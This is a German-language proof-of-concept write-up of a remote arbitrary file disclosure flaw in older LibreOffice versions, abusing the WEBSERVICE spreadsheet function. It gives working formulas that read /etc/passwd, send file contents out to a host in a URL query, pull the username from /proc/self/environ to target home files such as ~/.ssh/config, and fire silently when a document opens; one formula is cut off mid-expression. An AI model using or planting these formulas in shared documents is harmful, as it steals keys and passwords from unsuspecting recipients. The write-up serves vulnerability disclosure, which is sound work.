
Beweis des Konzepts der Schwachstelle zur entfernten Offenlegung beliebiger Dateien in LibreOffice
LibreOffice unterstützt die Funktion COM.MICROSOFT.WEBSERVICE:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
Die Funktion wird benötigt, um Daten per URL abzurufen, normalerweise verwendet als:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
Im Original:
For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.
In LibreOffice wurden diese Einschränkungen vor den Versionen 5.4.5/6.0.1 nicht implementiert.
Standardmäßig werden die Zellen nicht aktualisiert, aber wenn Sie den Zelltyp wie ~error angeben, wird die Zelle beim Öffnen des Dokuments aktualisiert.
Um eine Datei zu lesen, brauchen Sie nur:
=WEBSERVICE("/etc/passwd")
Diese Funktion kann auch verwendet werden, um eine Datei zu senden:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
Für einen erfolgreichen Vorgang müssen Sie die Dateien des aktuellen Benutzers senden, daher müssen Sie den Home-Pfad des aktuellen Benutzers ermitteln.
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
Sie können auch andere Dateien parsen, wie z. B. eine ~/.ssh/config oder Ähnliches.
Für andere Formate als LibreOffice Calc müssen Sie das Calc-Objekt nur in ein anderes Dokument einbetten (ich habe geprüft, dass es funktioniert).
Es ist leicht, beliebige Dateien mit Schlüsseln, Passwörtern und allem anderen zu senden. 100% Erfolgsrate, völlig lautlos, betrifft LibreOffice in Versionen vor 5.4.5/6.0.1 auf allen Betriebssystemen (GNU/Linux, MS Windows, macOS usw.) und kann in fast allen von LO unterstützten Formaten eingebettet werden.
Die Schwachstelle wurde unabhängig von mir (@jollheef) und Ronnie Goodrich && Andrew Krasichkov gefunden (laut den Notizen des LibreOffice-Teams).